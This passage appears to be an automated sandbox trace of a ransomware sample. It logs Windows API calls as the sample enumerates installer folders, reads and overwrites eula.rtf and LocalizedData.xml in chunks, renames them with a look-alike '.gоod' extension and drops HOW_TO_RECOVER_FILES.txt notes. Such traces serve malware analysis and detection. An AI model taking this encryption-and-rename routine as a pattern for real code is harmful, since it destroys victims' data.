lpNumberOfBytesWritten=0x1f6edd28*=0x1010, lpOverlapped=0x0) returned 1 [0098.002] CloseHandle (hObject=0x7b4) returned 1 [0098.002] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0098.002] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.gоod", lpFilePart=0x0) returned 0x31 [0098.002] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0098.002] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x369fcaf8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x138cc)) returned 1 [0098.002] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0098.002] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml.gоod" (normalized: "c:\\588bce7c90097ed212\\1040\\localizeddata.xml.gоod")) returned 1 [0098.003] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ed940, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1040\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x33 [0098.003] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ede60) returned 1 [0098.003] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\588bce7c90097ed212\\1040\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7b4 [0098.003] GetFileType (hFile=0x7b4) returned 0x1 [0098.003] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddd0) returned 1 [0098.003] GetFileType (hFile=0x7b4) returned 0x1 [0098.004] WriteFile (in: hFile=0x7b4, lpBuffer=0x33c6bc0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6edf28, lpOverlapped=0x0 | out: lpBuffer=0x33c6bc0*, lpNumberOfBytesWritten=0x1f6edf28*=0x5d0, lpOverlapped=0x0) returned 1 [0098.005] CloseHandle (hObject=0x7b4) returned 1 [0098.005] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0098.005] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1041", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1041", lpFilePart=0x0) returned 0x1a [0098.005] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0098.202] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.202] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x278d, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0098.202] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x10a82, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0098.202] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0098.203] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0098.203] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0098.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0098.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0098.203] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0098.203] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1041", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1041", lpFilePart=0x0) returned 0x1a [0098.203] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0098.203] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.203] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x278d, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0098.204] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x10a82, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0098.204] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0098.204] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0098.204] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0098.204] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0098.204] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0098.204] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1041\\eula.rtf", lpFilePart=0x0) returned 0x23 [0098.204] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0098.204] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x330ac20 | out: lpFileInformation=0x330ac20*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x278d)) returned 1 [0098.204] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0098.205] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1041\\eula.rtf", lpFilePart=0x0) returned 0x23 [0098.205] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0098.205] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0098.205] GetFileType (hFile=0x7b0) returned 0x1 [0098.205] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0098.205] GetFileType (hFile=0x7b0) returned 0x1 [0098.205] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1000 [0098.205] ReadFile (in: hFile=0x7b0, lpBuffer=0x330af98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edcc8, lpOverlapped=0x0 | out: lpBuffer=0x330af98*, lpNumberOfBytesRead=0x1f6edcc8*=0x1000, lpOverlapped=0x0) returned 1 [0098.206] CloseHandle (hObject=0x7b0) returned 1 [0098.206] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1041\\eula.rtf", lpFilePart=0x0) returned 0x23 [0098.206] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0098.206] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0098.206] GetFileType (hFile=0x7b0) returned 0x1 [0098.207] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0098.207] GetFileType (hFile=0x7b0) returned 0x1 [0098.207] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x278d [0098.207] WriteFile (in: hFile=0x7b0, lpBuffer=0x330c1e0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6edbe8, lpOverlapped=0x0 | out: lpBuffer=0x330c1e0*, lpNumberOfBytesWritten=0x1f6edbe8*=0x10, lpOverlapped=0x0) returned 1 [0098.207] CloseHandle (hObject=0x7b0) returned 1 [0098.208] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1041\\eula.rtf", lpFilePart=0x0) returned 0x23 [0098.208] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0098.208] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0098.208] GetFileType (hFile=0x7b0) returned 0x1 [0098.208] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0098.208] GetFileType (hFile=0x7b0) returned 0x1 [0098.208] ReadFile (in: hFile=0x7b0, lpBuffer=0x330e450, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc78, lpOverlapped=0x0 | out: lpBuffer=0x330e450*, lpNumberOfBytesRead=0x1f6edc78*=0x1000, lpOverlapped=0x0) returned 1 [0098.520] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0098.953] CloseHandle (hObject=0x7b0) returned 1 [0098.953] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1041\\eula.rtf", lpFilePart=0x0) returned 0x23 [0098.953] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0098.953] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0098.953] GetFileType (hFile=0x7b0) returned 0x1 [0098.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0098.953] GetFileType (hFile=0x7b0) returned 0x1 [0098.953] WriteFile (in: hFile=0x7b0, lpBuffer=0x3297258*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6edd28, lpOverlapped=0x0 | out: lpBuffer=0x3297258*, lpNumberOfBytesWritten=0x1f6edd28*=0x1010, lpOverlapped=0x0) returned 1 [0098.953] CloseHandle (hObject=0x7b0) returned 1 [0098.954] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1041\\eula.rtf", lpFilePart=0x0) returned 0x23 [0098.954] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1041\\eula.rtf.gоod", lpFilePart=0x0) returned 0x28 [0098.954] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0098.954] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x3730e7d4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x279d)) returned 1 [0098.954] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0098.954] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf.gоod" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf.gоod")) returned 1 [0098.956] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0098.956] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0098.956] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x3544d20 | out: lpFileInformation=0x3544d20*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x10a82)) returned 1 [0098.956] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0098.956] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0098.956] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0098.956] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0098.957] GetFileType (hFile=0x7b0) returned 0x1 [0098.957] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0098.957] GetFileType (hFile=0x7b0) returned 0x1 [0098.957] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1000 [0098.957] ReadFile (in: hFile=0x7b0, lpBuffer=0x35450e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edcc8, lpOverlapped=0x0 | out: lpBuffer=0x35450e8*, lpNumberOfBytesRead=0x1f6edcc8*=0x1000, lpOverlapped=0x0) returned 1 [0098.988] CloseHandle (hObject=0x7b0) returned 1 [0098.988] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0098.988] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0098.988] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0098.988] GetFileType (hFile=0x7b0) returned 0x1 [0098.988] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0098.988] GetFileType (hFile=0x7b0) returned 0x1 [0098.988] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x10a82 [0098.988] WriteFile (in: hFile=0x7b0, lpBuffer=0x35c1a70*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6edbe8, lpOverlapped=0x0 | out: lpBuffer=0x35c1a70*, lpNumberOfBytesWritten=0x1f6edbe8*=0x10, lpOverlapped=0x0) returned 1 [0098.989] CloseHandle (hObject=0x7b0) returned 1 [0098.989] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0098.989] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0098.989] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0098.989] GetFileType (hFile=0x7b0) returned 0x1 [0098.989] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0098.989] GetFileType (hFile=0x7b0) returned 0x1 [0098.989] ReadFile (in: hFile=0x7b0, lpBuffer=0x35c3d08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc78, lpOverlapped=0x0 | out: lpBuffer=0x35c3d08*, lpNumberOfBytesRead=0x1f6edc78*=0x1000, lpOverlapped=0x0) returned 1 [0099.077] CloseHandle (hObject=0x7b0) returned 1 [0099.077] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0099.077] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0099.077] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0099.077] GetFileType (hFile=0x7b0) returned 0x1 [0099.078] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0099.078] GetFileType (hFile=0x7b0) returned 0x1 [0099.078] WriteFile (in: hFile=0x7b0, lpBuffer=0x33003d8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6edd28, lpOverlapped=0x0 | out: lpBuffer=0x33003d8*, lpNumberOfBytesWritten=0x1f6edd28*=0x1010, lpOverlapped=0x0) returned 1 [0099.078] CloseHandle (hObject=0x7b0) returned 1 [0099.078] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0099.078] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.gоod", lpFilePart=0x0) returned 0x31 [0099.078] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0099.078] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x3743fb75, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10a92)) returned 1 [0099.078] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0099.078] MoveFileW 